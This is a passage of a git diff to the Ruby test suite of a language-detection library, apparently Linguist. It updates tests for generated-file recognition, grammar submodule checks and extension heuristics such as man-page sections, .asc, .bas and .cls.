     # Test language detection for files which shouldn't be used as samples
@@ -642,9 +703,16 @@ def test_language
           assert blob.language.nil?, "A language was found for #{filepath}"
         elsif language == 'Generated'
           assert blob.generated?, "#{filepath} is not a generated file"
+        elsif language == 'Generic'
+          assert !blob.language, "#{filepath} should not match a language"
         else
-          assert blob.language, "No language for #{filepath}"
-          assert_equal language, blob.language.name, blob.name
+          fs_name = blob.language.fs_name ? blob.language.fs_name : blob.language.name
+          if allowed_failures.has_key? filepath
+            assert allowed_failures[filepath].include?(fs_name), filepath
+          else
+            assert blob.language, "No language for #{filepath}"
+            assert_equal language, fs_name, filepath
+          end
         end
       end
     end
@@ -685,6 +753,6 @@ def test_include_in_language_stats
     refute_predicate prose, :include_in_language_stats?
 
     included = sample_blob("HTML/pages.html")
-    assert_predicate included, :include_in_language_stats?
+    refute_predicate included, :include_in_language_stats?
   end
 end
diff --git a/test/test_generated.rb b/test/test_generated.rb
index d34f605b98..bb03f971e2 100644
--- a/test/test_generated.rb
+++ b/test/test_generated.rb
@@ -5,35 +5,47 @@ class TestGenerated < Minitest::Test
 
   class DataLoadedError < StandardError; end
 
-  def generated_without_loading_data(blob)
+  def error_message(blob, negate = false)
+    if negate
+      "#{blob} was incorrectly recognised as a generated file"
+    else
+      "#{blob} was not recognised as a generated file"
+    end
+  end
+
+  def generated_without_loading_data(blob, negate = false)
     begin
-      assert Generated.generated?(blob, lambda { raise DataLoadedError.new }), "#{blob} was not recognized as a generated file"
+      expected = !negate
+      actual = Generated.generated?(blob, lambda { raise DataLoadedError.new })
+      assert(expected == !!actual, error_message(blob, negate))
     rescue DataLoadedError
       assert false, "Data was loaded when calling generated? on #{blob}"
     end
   end
 
-  def generated_loading_data(blob)
+  def generated_loading_data(blob, negate = false)
     assert_raises(DataLoadedError, "Data wasn't loaded when calling generated? on #{blob}") do
       Generated.generated?(blob, lambda { raise DataLoadedError.new })
     end
-    assert Generated.generated?(blob, lambda { IO.read(blob) }), "#{blob} was not recognized as a generated file"
+    expected = !negate
+    actual = Generated.generated?(blob, lambda { File.read(blob) })
+    assert(expected == !!actual, error_message(blob, negate))
   end
 
-  def generated_fixture_without_loading_data(name)
-    generated_without_loading_data(File.join(fixtures_path, name))
+  def generated_fixture_without_loading_data(name, negate = false)
+    generated_without_loading_data(File.join(fixtures_path, name), negate)
   end
 
-  def generated_fixture_loading_data(name)
-    generated_loading_data(File.join(fixtures_path, name))
+  def generated_fixture_loading_data(name, negate = false)
+    generated_loading_data(File.join(fixtures_path, name), negate)
   end
 
-  def generated_sample_without_loading_data(name)
-    generated_without_loading_data(File.join(samples_path, name))
+  def generated_sample_without_loading_data(name, negate = false)
+    generated_without_loading_data(File.join(samples_path, name), negate)
   end
 
-  def generated_sample_loading_data(name)
-    generated_loading_data(File.join(samples_path, name))
+  def generated_sample_loading_data(name, negate = false)
+    generated_loading_data(File.join(samples_path, name), negate)
   end
 
   def test_check_generated
@@ -42,8 +54,34 @@ def test_check_generated
     generated_sample_without_loading_data("Dummy/foo.xcworkspacedata")
     generated_sample_without_loading_data("Dummy/foo.xcuserstate")
 
+    # Cocoapods
+    generated_sample_without_loading_data("Pods/Pods.xcodeproj")
+    generated_sample_without_loading_data("Pods/SwiftDependency/foo.swift")
+    generated_sample_without_loading_data("Pods/ObjCDependency/foo.h")
+    generated_sample_without_loading_data("Pods/ObjCDependency/foo.m")
+    generated_sample_without_loading_data("Dummy/Pods/Pods.xcodeproj")
+    generated_sample_without_loading_data("Dummy/Pods/SwiftDependency/foo.swift")
+    generated_sample_without_loading_data("Dummy/Pods/ObjCDependency/foo.h")
+    generated_sample_without_loading_data("Dummy/Pods/ObjCDependency/foo.m")
+
+    # Carthage
+    generated_sample_without_loading_data("Carthage/Build/.Dependency.version")
+    generated_sample_without_loading_data("Carthage/Build/iOS/Dependency.framework")
+    generated_sample_without_loading_data("Carthage/Build/Mac/Dependency.framework")
+    generated_sample_without_loading_data("src/Carthage/Build/.Dependency.version")
+    generated_sample_without_loading_data("src/Carthage/Build/iOS/Dependency.framework")
+    generated_sample_without_loading_data("src/Carthage/Build/Mac/Dependency.framework")
+
+    # Go-specific vendored paths
+    generated_sample_without_loading_data("go/vendor/github.com/foo.go")
+    generated_sample_without_loading_data("go/vendor/golang.org/src/foo.c")
+    generated_sample_without_loading_data("go/vendor/gopkg.in/some/nested/path/foo.go")
+
     # .NET designer file
-    generated_sample_without_loading_data("Dummu/foo.designer.cs")
+    generated_sample_without_loading_data("Dummy/foo.designer.cs")
+    generated_sample_without_loading_data("Dummy/foo.Designer.cs")
+    generated_sample_without_loading_data("Dummy/foo.designer.vb")
+    generated_sample_without_loading_data("Dummy/foo.Designer.vb")
 
     # Composer generated composer.lock file
     generated_sample_without_loading_data("JSON/composer.lock")
@@ -53,6 +91,16 @@ def test_check_generated
 
     # npm shrinkwrap file
     generated_sample_without_loading_data("Dummy/npm-shrinkwrap.json")
+    generated_sample_without_loading_data("Dummy/package-lock.json")
+
+    # pnpm lockfile
+    generated_sample_without_loading_data("Dummy/pnpm-lock.yaml")
+
+    # Yarn Plug'n'Play file
+    generated_sample_without_loading_data(".pnp.js")
+    generated_sample_without_loading_data(".pnp.cjs")
+    generated_sample_without_loading_data(".pnp.mjs")
+    generated_sample_without_loading_data(".pnp.loader.mjs")
 
     # Godep saved dependencies
     generated_sample_without_loading_data("Godeps/Godeps.json")
@@ -66,11 +114,17 @@ def test_check_generated
     # Minified files
     generated_sample_loading_data("JavaScript/jquery-1.6.1.min.js")
 
-    # JS files with source map reference
+    # JavaScript with source-maps
     generated_sample_loading_data("JavaScript/namespace.js")
+    generated_fixture_loading_data("Generated/inline.js")
 
-    # Source Map
+    # CSS with source-maps
+    generated_fixture_loading_data("Generated/linked.css")
+    generated_fixture_loading_data("Generated/inline.css")
+
+    # Source-map
     generated_fixture_without_loading_data("Data/bootstrap.css.map")
+    generated_fixture_without_loading_data("Generated/linked.css.map")
     generated_fixture_loading_data("Data/sourcemap.v3.map")
     generated_fixture_loading_data("Data/sourcemap.v1.map")
 
@@ -82,5 +136,97 @@ def test_check_generated
 
     # GrammarKit
     generated_sample_loading_data("Java/GrammarKit.java")
+
+    # roxygen2
+    generated_sample_loading_data("R/import.Rd")
+
+    # PostScript
+    generated_sample_loading_data("PostScript/lambda.pfa")
+
+    # Perl ppport.h
+    generated_fixture_loading_data("Generated/ppport.h")
+
+    # Graphql Relay
+    generated_sample_without_loading_data("Javascript/__generated__/App_user.graphql.js")
+
+    # Game Maker Studio 2
+    generated_sample_loading_data("JSON/GMS2_Project.yyp")
+    generated_sample_loading_data("JSON/2ea73365-b6f1-4bd1-a454-d57a67e50684.yy")
+    generated_sample_loading_data("JSON/VCT.yy")
+    generated_fixture_loading_data("Generated/options_main.inherited.yy")
+
+    # Pipenv
+    generated_sample_without_loading_data("Dummy/Pipfile.lock")
+
+    # HTML
+    generated_fixture_loading_data("HTML/attr-swapped.html")
+    generated_fixture_loading_data("HTML/extra-attr.html")
+    generated_fixture_loading_data("HTML/extra-spaces.html")
+    generated_fixture_loading_data("HTML/extra-tags.html")
+    generated_fixture_loading_data("HTML/grohtml.html")
+    generated_fixture_loading_data("HTML/grohtml.xhtml")
+    generated_fixture_loading_data("HTML/makeinfo.html")
+    generated_fixture_loading_data("HTML/mandoc.html")
+    generated_fixture_loading_data("HTML/node78.html")
+    generated_fixture_loading_data("HTML/org-mode.html")
+    generated_fixture_loading_data("HTML/quotes-double.html")
+    generated_fixture_loading_data("HTML/quotes-none.html")
+    generated_fixture_loading_data("HTML/quotes-single.html")
+    generated_fixture_loading_data("HTML/uppercase.html")
+    generated_fixture_loading_data("HTML/ronn.html")
+    generated_fixture_loading_data("HTML/unknown.html", true)
+    generated_fixture_loading_data("HTML/no-content.html", true)
+    generated_sample_loading_data("HTML/pages.html")
+
+    # GIMP
+    generated_fixture_loading_data("C/image.c")
+    generated_fixture_loading_data("C/image.h")
+
+    # Haxe
+    generated_fixture_loading_data("Generated/Haxe/main.js")
+    generated_fixture_loading_data("Generated/Haxe/main.py")
+    generated_fixture_loading_data("Generated/Haxe/main.lua")
+    generated_fixture_loading_data("Generated/Haxe/Main.cpp")
+    generated_fixture_loading_data("Generated/Haxe/Main.h")
+    generated_fixture_loading_data("Generated/Haxe/Main.java")
+    generated_fixture_loading_data("Generated/Haxe/Main.cs")
+    generated_fixture_loading_data("Generated/Haxe/Main.php")
+
+    # Cargo
+    generated_sample_without_loading_data("TOML/filenames/Cargo.toml.orig")
+
+    # jOOQ
+    generated_sample_loading_data("Java/generated-jooq-table.java")
+
+    # poetry
+    generated_sample_without_loading_data("TOML/filenames/poetry.lock")
+
+    # pdm
+    generated_sample_without_loading_data("TOML/filenames/pdm.lock")
+
+    # uv
+    generated_sample_without_loading_data("TOML/filenames/uv.lock")
+
+    # coverage.py `coverage html` output
+    generated_sample_without_loading_data("htmlcov/index.html")
+    generated_sample_without_loading_data("htmlcov/coverage_html.js")
+    generated_sample_without_loading_data("htmlcov/style.css")
+    generated_sample_without_loading_data("htmlcov/status.json")
+    generated_sample_without_loading_data("Dummy/htmlcov/index.html")
+    generated_sample_without_loading_data("Dummy/htmlcov/coverage_html.js")
+    generated_sample_without_loading_data("Dummy/htmlcov/style.css")
+    generated_sample_without_loading_data("Dummy/htmlcov/status.json")
+  end
+
+  # We've whitelisted these files on purpose, even though they're machine-generated.
+  # Future contributors won't necessarily know that, so these checks are in-place to
+  # catch PRs that mark these files as generated (and prevent a forgetful maintainer
+  # from approving them).
+  def test_check_not_generated
+    # Jest snapshots (#3579)
+    generated_sample_without_loading_data("Jest Snapshot/css.test.tsx.snap", true)
+
+    # Yarn lockfiles (#4459)
+    generated_sample_without_loading_data("YAML/filenames/yarn.lock", true)
   end
 end
diff --git a/test/test_grammars.rb b/test/test_grammars.rb
index 0a7260b843..4b68e03157 100644
--- a/test/test_grammars.rb
+++ b/test/test_grammars.rb
@@ -3,28 +3,6 @@
 class TestGrammars < Minitest::Test
   ROOT = File.expand_path("../..", __FILE__)
 
-  # List of projects that are allowed without licenses
-  PROJECT_WHITELIST = [
-    # Dual MIT and GPL license
-    "vendor/grammars/language-csharp",
-    "vendor/grammars/sublimeassembly"
-  ].freeze
-
-  # List of allowed SPDX license names
-  LICENSE_WHITELIST = %w[
-    apache-2.0
-    bsd-2-clause
-    bsd-3-clause
-    isc
-    mit
-    mpl-2.0
-    public
-    textmate
-    unlicense
-    wtfpl
-    zlib
-  ].freeze
-
   def setup
     @grammars = YAML.load(File.read(File.join(ROOT, "grammars.yml")))
   end
@@ -55,55 +33,13 @@ def test_submodules_are_in_sync
       message << unlisted_submodules.sort.join("\n")
     end
 
-    assert nonexistent_submodules.empty? && unlisted_submodules.empty?, message
-  end
-
-  def test_local_scopes_are_in_sync
-    actual = YAML.load(`"#{File.join(ROOT, "script", "convert-grammars")}" --output - --no-install --no-remote`)
-    assert $?.success?, "script/convert-grammars failed"
-
-    # We're not checking remote grammars. That can take a long time and make CI
-    # flaky if network conditions are poor.
-    @grammars.delete_if { |k, v| k.start_with?("http:", "https:") }
-
-    @grammars.each do |k, v|
-      assert_equal v, actual[k], "The scopes listed for #{k} in grammars.yml don't match the scopes found in that repository"
-    end
-  end
-
-  def test_submodules_have_recognized_licenses
-    unrecognized = submodule_licenses.select { |k,v| v.nil? && Licensee::FSProject.new(k).license_file }
-    unrecognized.reject! { |k,v| PROJECT_WHITELIST.include?(k) }
-    message = "The following submodules have unrecognized licenses:\n* #{unrecognized.keys.join("\n* ")}\n"
-    message << "Please ensure that the project's LICENSE file contains the full text of the license."
-    assert_equal Hash.new, unrecognized, message
-  end
-
-  def test_submodules_have_licenses
-    unlicensed = submodule_licenses.select { |k,v| v.nil? }.reject { |k,v| PROJECT_WHITELIST.include?(k) }
-    message = "The following submodules don't have licenses:\n* #{unlicensed.keys.join("\n* ")}\n"
-    message << "Please ensure that the project has a LICENSE file, and that the LICENSE file contains the full text of the license."
-    assert_equal Hash.new, unlicensed, message
+    assert nonexistent_submodules.empty? && unlisted_submodules.empty?, message.sub(/\.\Z/, "")
   end
 
-  def test_submodules_have_approved_licenses
-    unapproved = submodule_licenses.reject { |k,v| LICENSE_WHITELIST.include?(v) || PROJECT_WHITELIST.include?(k) }.map { |k,v| "#{k}: #{v}"}
-    message = "The following submodules have unapproved licenses:\n* #{unapproved.join("\n* ")}\n"
-    message << "The license must be added to the LICENSE_WHITELIST in /test/test_grammars.rb once approved."
-    assert_equal [], unapproved, message
-  end
-
-  def test_submodules_whitelist_has_no_extra_entries
-    skip("Need to work out how to handle dual-licensed entities")
-    extra_whitelist_entries = PROJECT_WHITELIST - submodule_licenses.select { |k,v| v.nil? }.keys
-    not_present = extra_whitelist_entries.reject { |k,v| Dir.exist?(k) }
-    licensed = extra_whitelist_entries.select { |k,v| submodule_licenses[k] }
-
-    msg = "The following whitelisted submodules don't appear to be part of the project:\n* #{not_present.join("\n* ")}"
-    assert_equal [], not_present, msg
-
-    msg = "The following whitelisted submodules actually have licenses and don't need to be whitelisted:\n* #{licensed.join("\n* ")}"
-    assert_equal [], licensed, msg
+  def test_readme_file_is_in_sync
+    current_data = File.read("#{ROOT}/vendor/README.md").to_s.sub(/\A.+?<!--.+?-->\n/mu, "")
+    updated_data = `script/list-grammars --print`
+    assert_equal current_data, updated_data, "Grammar list is out-of-date. Run `script/list-grammars`"
   end
 
   def test_submodules_use_https_links
@@ -123,64 +59,7 @@ def test_submodules_use_https_links
   private
 
   def submodule_paths
-    @submodule_paths ||= `git config --list --file "#{File.join(ROOT, ".gitmodules")}"`.lines.grep(/\.path=/).map { |line| line.chomp.split("=", 2).last }
-  end
-
-  # Returns a hash of submodules in the form of submodule_path => license
-  def submodule_licenses
-    @@submodule_licenses ||= begin
-      submodules = {}
-      submodule_paths.each { |submodule| submodules[submodule] = submodule_license(submodule) }
-      submodules
-    end
+    @submodule_paths ||= `git config --list --file "#{File.join(ROOT, ".gitmodules")}"`.lines.grep(/\.path=/).map { |line| line.chomp.split("=", 2).last }.reject { |path| path =~ /CodeMirror/ }
   end
 
-  # Given the path to a submodule, return its SPDX-compliant license key
-  def submodule_license(submodule)
-    # Prefer Licensee to detect a submodule's license
-    project = Licensee::FSProject.new(submodule)
-    return project.license.key if project.license
-
-    # We know a license file exists, but Licensee wasn't able to detect the license,
-    # Let's try our own more permissive regex method
-    if project.license_file
-      path = File.expand_path project.license_file.path, submodule
-      license = classify_license(path)
-      return license if license
-    end
-
-    # Neither Licensee nor our own regex was able to detect the license, let's check the readme
-    files = Dir[File.join(ROOT, submodule, "*")]
-    if readme = files.find { |path| File.basename(path) =~ /\Areadme\b/i }
-      classify_license(readme)
-    end
-  end
-
-  def classify_license(path)
-    content = File.read(path)
-    return unless content =~ /\blicen[cs]e\b/i
-    if content.include?("Apache License") && content.include?("2.0")
-      "apache-2.0"
-    elsif content.include?("GNU") && content =~ /general/i && content =~ /public/i
-      if content =~ /version 2/i
-        "gpl-2.0"
-      elsif content =~ /version 3/i
-        "gpl-3.0"
-      end
-    elsif content.include?("GPL") && content.include?("http://www.gnu.org/licenses/gpl.html")
-      "gpl-3.0"
-    elsif content.include?("Creative Commons Attribution-Share Alike 3.0")
-      "cc-by-sa-3.0"
-    elsif content.include?("tidy-license.txt") || content.include?("If not otherwise specified (see below)") || content.include?("Permission to copy, use, modify, sell and distribute this")
-      "textmate"
-    elsif content.include?("Permission is hereby granted") || content =~ /\bMIT\b/
-      "mit"
-    elsif content.include?("This package is provided as-is and is placed in the Public Domain")
-      "public"
-    elsif content.include?("http://www.wtfpl.net/txt/copying/")
-      "wtfpl"
-    elsif content.include?("zlib") && content.include?("license") && content.include?("2. Altered source versions must be plainly marked as such")
-      "zlib"
-    end
-  end
 end
diff --git a/test/test_heuristics.rb b/test/test_heuristics.rb
old mode 100644
new mode 100755
index e37da44b08..8277ceba53
--- a/test/test_heuristics.rb
+++ b/test/test_heuristics.rb
@@ -1,20 +1,27 @@
 require_relative "./helper"
 
-class TestHeuristcs < Minitest::Test
+class TestHeuristics < Minitest::Test
   include Linguist
 
   def fixture(name)
     File.read(File.join(samples_path, name))
   end
 
-  def file_blob(name)
+  def file_blob(name, alt_name=nil)
     path = File.exist?(name) ? name : File.join(samples_path, name)
-    FileBlob.new(path)
+    blob = FileBlob.new(path)
+    if !alt_name.nil?
+      blob.instance_variable_set("@path", alt_name)
+    end
+    blob
   end
 
   def all_fixtures(language_name, file="*")
-    Dir.glob("#{samples_path}/#{language_name}/#{file}") -
-      ["#{samples_path}/#{language_name}/filenames"]
+    fixs = Dir.glob("#{samples_path}/#{language_name}/#{file}") -
+             ["#{samples_path}/#{language_name}/filenames"]
+    fixs = fixs.reject { |f| File.symlink?(f) }
+    assert !fixs.empty?, "no fixtures for #{language_name} #{file}"
+    fixs
   end
 
   def test_no_match
@@ -23,13 +30,36 @@ def test_no_match
     assert_equal [], results
   end
 
-  def assert_heuristics(hash)
+  def test_symlink_empty
+    assert_equal [], Heuristics.call(file_blob("Markdown/symlink.md"), [Language["Markdown"]])
+  end
+
+  def test_no_match_if_regexp_timeout
+    skip("This test requires Ruby 3.2.0 or later") if Gem::Version.new(RUBY_VERSION) < Gem::Version.new('3.2.0')
+
+    Regexp.any_instance.stubs(:match?).raises(Regexp::TimeoutError)
+    assert_equal [], Heuristics.call(file_blob("#{fixtures_path}/Generic/stl/STL/cube1.stl"), [Language["STL"]])
+  end
+
+  # alt_name is a file name that will be used instead of the file name of the
+  # original sample. This is used to force a sample to go through a specific
+  # heuristic even if its extension doesn't match.
+  def assert_heuristics(hash, alt_name=nil)
     candidates = hash.keys.map { |l| Language[l] }
 
     hash.each do |language, blobs|
-      Array(blobs).each do |blob|
-        result = Heuristics.call(file_blob(blob), candidates)
-        assert_equal [Language[language]], result, "Failed for #{blob}"
+      blobs = Array(blobs)
+      assert blobs.length >= 1, "Expected at least 1 blob for #{language}"
+      blobs.each do |blob|
+        result = Heuristics.call(file_blob(blob, alt_name), candidates)
+        if language.nil?
+          expected = []
+        elsif language.is_a?(Array)
+          expected = language.map{ |l| Language[l] }
+        else
+          expected = [Language[language]]
+        end
+        assert_equal expected, result, "Failed for #{blob}"
       end
     end
   end
@@ -40,12 +70,216 @@ def test_detect_still_works_if_nothing_matches
     assert_equal Language["Objective-C"], match
   end
 
-  # Candidate languages = ["AGS Script", "AsciiDoc", "Public Key"]
+  def test_all_extensions_are_listed
+    Heuristics.all.all? do |rule|
+      rule.languages.each do |lang|
+        unlisted = rule.extensions.reject do |ext|
+          lang.extensions.include?(ext) or
+          lang.filenames.select {|n| n.downcase.end_with? ext.downcase}
+        end
+        assert_equal [], unlisted, (<<~EOF).chomp
+          The extension '#{unlisted.first}' is not assigned to #{lang.name}.
+          Add it to `languages.yml` or update the heuristic which uses it
+        EOF
+      end
+    end
+  end
+
+  def test_1_by_heuristics
+    n = 1
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff Manpage/*"),
+      "Roff" =>  all_fixtures("Roff") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff/*"),
+       nil => Dir.glob("#{fixtures_path}/Generic/#{n}/nil/*")
+    }, alt_name="man.#{n}")
+  end
+
+  def test_1in_by_heuristics
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage"),
+      "Roff" =>  all_fixtures("Roff")
+    }, alt_name="man.1in")
+  end
+
+  def test_1m_by_heuristics
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage"),
+      "Roff" =>  all_fixtures("Roff")
+    }, alt_name="man.1m")
+  end
+
+  def test_1x_by_heuristics
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage"),
+      "Roff" =>  all_fixtures("Roff")
+    }, alt_name="man.1x")
+  end
+
+  def test_2_by_heuristics
+    n = 2
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff Manpage/*"),
+      "Roff" =>  all_fixtures("Roff") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff/*"),
+      nil => Dir.glob("#{fixtures_path}/Generic/#{n}/nil/*")
+    }, alt_name="man.#{n}")
+  end
+
+  def test_3_by_heuristics
+    n = 3
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff Manpage/*"),
+      "Roff" =>  all_fixtures("Roff") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff/*"),
+      nil => Dir.glob("#{fixtures_path}/Generic/#{n}/nil/*")
+    }, alt_name="man.#{n}")
+  end
+
+  def test_3in_by_heuristics
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage"),
+      "Roff" =>  all_fixtures("Roff")
+    }, alt_name="man.3in")
+  end
+
+  def test_3m_by_heuristics
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage"),
+      "Roff" =>  all_fixtures("Roff")
+    }, alt_name="man.3m")
+  end
+
+  def test_3p_by_heuristics
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage"),
+      "Roff" =>  all_fixtures("Roff")
+    }, alt_name="man.3p")
+  end
+
+  def test_3pm_by_heuristics
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage"),
+      "Roff" =>  all_fixtures("Roff")
+    }, alt_name="man.3pm")
+  end
+
+  def test_3qt_by_heuristics
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage"),
+      "Roff" =>  all_fixtures("Roff")
+    }, alt_name="man.3qt")
+  end
+
+  def test_3x_by_heuristics
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage"),
+      "Roff" =>  all_fixtures("Roff")
+    }, alt_name="man.3x")
+  end
+
+  def test_4_by_heuristics
+    n = 4
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff Manpage/*"),
+      "Roff" =>  all_fixtures("Roff") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff/*"),
+      nil => Dir.glob("#{fixtures_path}/Generic/#{n}/nil/*")
+    }, alt_name="man.#{n}")
+  end
+
+  def test_5_by_heuristics
+    n = 5
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff Manpage/*"),
+      "Roff" =>  all_fixtures("Roff") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff/*"),
+      nil => Dir.glob("#{fixtures_path}/Generic/#{n}/nil/*")
+    }, alt_name="man.#{n}")
+  end
+
+  def test_6_by_heuristics
+    n = 6
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff Manpage/*"),
+      "Roff" =>  all_fixtures("Roff") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff/*"),
+      nil => Dir.glob("#{fixtures_path}/Generic/#{n}/nil/*")
+    }, alt_name="man.#{n}")
+  end
+
+  def test_7_by_heuristics
+    n = 7
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff Manpage/*"),
+      "Roff" =>  all_fixtures("Roff") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff/*"),
+      nil => Dir.glob("#{fixtures_path}/Generic/#{n}/nil/*")
+    }, alt_name="man.#{n}")
+  end
+
+  def test_8_by_heuristics
+    n = 8
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff Manpage/*"),
+      "Roff" =>  all_fixtures("Roff") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff/*"),
+      nil => Dir.glob("#{fixtures_path}/Generic/#{n}/nil/*")
+    }, alt_name="man.#{n}")
+  end
+
+  def test_9_by_heuristics
+    n = 9
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff Manpage/*"),
+      "Roff" =>  all_fixtures("Roff") + Dir.glob("#{fixtures_path}/Generic/#{n}/Roff/*"),
+      nil => Dir.glob("#{fixtures_path}/Generic/#{n}/nil/*")
+    }, alt_name="man.#{n}")
+  end
+
+  def test_al_by_heuristics
+    assert_heuristics({
+      "AL" => all_fixtures("AL", "*.al"),
+      "Perl" => all_fixtures("Perl", "*.al")
+    })
+  end
+
+  def test_app_by_heuristics
+    assert_heuristics({
+      "Erlang" => Dir.glob("#{fixtures_path}/Generic/app/Erlang/*"),
+      nil => Dir.glob("#{fixtures_path}/Generic/app/nil/*")
+    })
+  end
+
+  def test_as_by_heuristics
+    assert_heuristics({
+      "ActionScript" => all_fixtures("ActionScript", "*.as"),
+      nil => all_fixtures("AngelScript", "*.as")
+    })
+  end
+
   def test_asc_by_heuristics
     assert_heuristics({
-      "AsciiDoc" => all_fixtures("AsciiDoc", "*.asc"),
-      "AGS Script" => all_fixtures("AGS Script", "*.asc"),
-      "Public Key" => all_fixtures("Public Key", "*.asc")
+      "AsciiDoc" => all_fixtures("AsciiDoc"),
+      "AGS Script" => all_fixtures("AGS Script"),
+      "Public Key" => all_fixtures("Public Key")
+    }, "test.asc")
+  end
+
+  def test_asm_by_heuristics
+    assert_heuristics({
+      "Motorola 68K Assembly" => all_fixtures("Motorola 68K Assembly", "*.asm"),
+      # Assembly lacks a heuristic
+      nil => all_fixtures("Assembly", "*.asm")
+    })
+  end
+
+  def test_asy_by_heuristics
+    assert_heuristics({
+      "Asymptote" => all_fixtures("Asymptote", "*.asy"),
+      "LTspice Symbol" => all_fixtures("LTspice Symbol", "*.asy")
+    })
+  end
+
+  def test_bas_by_heuristics
+    assert_heuristics({
+      "B4X" => all_fixtures("B4X", "*.bas"),
+      "FreeBasic" => all_fixtures("FreeBasic", "*.bas"),
+      "BASIC" => all_fixtures("BASIC", "*.bas"),
+      "VBA" => all_fixtures("VBA", "*.bas"),
+      "Visual Basic 6.0" => all_fixtures("Visual Basic 6.0", "*.bas")
     })
   end
 
@@ -56,9 +290,47 @@ def test_bb_by_heuristics
     })
   end
 
+  def test_bf_by_heuristics
+    assert_heuristics({
+      "Beef" => all_fixtures("Beef", "*.bf"),
+      "Brainfuck" => all_fixtures("Brainfuck", "*.bf"),
+      "HyPhy" => all_fixtures("HyPhy", "*.bf"),
+      nil => all_fixtures("Befunge", "*.bf"),
+    })
+  end
+
+  def test_bi_by_heuristics
+    assert_heuristics({
+      "FreeBasic" => all_fixtures("FreeBasic", "*.bi")
+    })
+  end
+
+  def test_bs_by_heuristics
+    assert_heuristics({
+      "BrighterScript" => all_fixtures("BrighterScript", "*.bs"),
+      "Bikeshed" => all_fixtures("Bikeshed", "*.bs")
+    })
+  end
+
+  def test_builds_by_heuristics
+    assert_heuristics({
+      nil => all_fixtures("Text"),
+      "XML" => all_fixtures("XML", "*.builds")
+    }, "test.builds")
+  end
+
+  def test_cairo_by_heuristics
+    assert_heuristics({
+      "Cairo Zero" => all_fixtures("Cairo Zero"),
+      "Cairo" => all_fixtures("Cairo")
+    })
+  end
+
   def test_ch_by_heuristics
     assert_heuristics({
-      "xBase" => all_fixtures("xBase", ".ch")
+      "xBase" => all_fixtures("xBase", "*.ch"),
+      # Missing heuristic for Charity
+      nil => all_fixtures("Charity", "*.ch")
     })
   end
 
@@ -69,6 +341,28 @@ def test_cl_by_heuristics
     })
   end
 
+  def test_cls_by_heuristics
+    assert_heuristics({
+      "Visual Basic 6.0" => all_fixtures("Visual Basic 6.0", "*.cls"),
+      "VBA" => all_fixtures("VBA", "*.cls"),
+      "TeX" => all_fixtures("TeX", "*.cls"),
+      "ObjectScript" => all_fixtures("ObjectScript", "*.cls"),
+      # Missing heuristics
+      nil => all_fixtures("Apex", "*.cls") + all_fixtures("OpenEdge ABL", "*.cls"),
+    })
+  end
+
+  def test_cmp_by_heuristics
+    assert_heuristics({
+      "Gerber Image" => all_fixtures("Gerber Image", "*"),
+      nil => all_fixtures("Text", "*"),
+    }, alt_name="test.cmp")
+    assert_heuristics({
+      "Gerber Image" => Dir.glob("#{fixtures_path}/Generic/cmp/Gerber Image/*"),
+      nil => Dir.glob("#{fixtures_path}/Generic/cmp/nil/*"),
+    })
+  end
+
   def test_cs_by_heuristics
     assert_heuristics({
       "C#" => all_fixtures("C#", "*.cs"),
@@ -76,14 +370,49 @@ def test_cs_by_heuristics
     })
   end
 
-  # Candidate languages = ["ECL", "ECLiPSe"]
+  def test_csc_by_heuristics
+    assert_heuristics({
+      "GSC" => all_fixtures("GSC", "*.csc")
+    })
+  end
+
+  def test_csl_by_heuristics
+    assert_heuristics({
+      "Kusto" => all_fixtures("Kusto", "*.csl"),
+      "XML" => all_fixtures("XML", "*.csl")
+    })
+  end
+
+  def test_d_by_heuristics
+    assert_heuristics({
+      "D" => all_fixtures("D"),
+      "DTrace" => all_fixtures("DTrace"),
+      "Makefile" => all_fixtures("Makefile"),
+    }, "test.d")
+  end
+
+  def test_dsp_by_heuristics
+    assert_heuristics({
+      "Faust" => all_fixtures("Faust", "*.dsp"),
+      "Microsoft Developer Studio Project" => all_fixtures("Microsoft Developer Studio Project"),
+    })
+  end
+
+  def test_e_by_heuristics
+    assert_heuristics({
+      "E" => all_fixtures("E", "*.E"),
+      "Eiffel" => all_fixtures("Eiffel", "*.e"),
+      "Euphoria" => all_fixtures("Euphoria", "*.e")
+    })
+  end
+
   def test_ecl_by_heuristics
     assert_heuristics({
       "ECL" => all_fixtures("ECL", "*.ecl"),
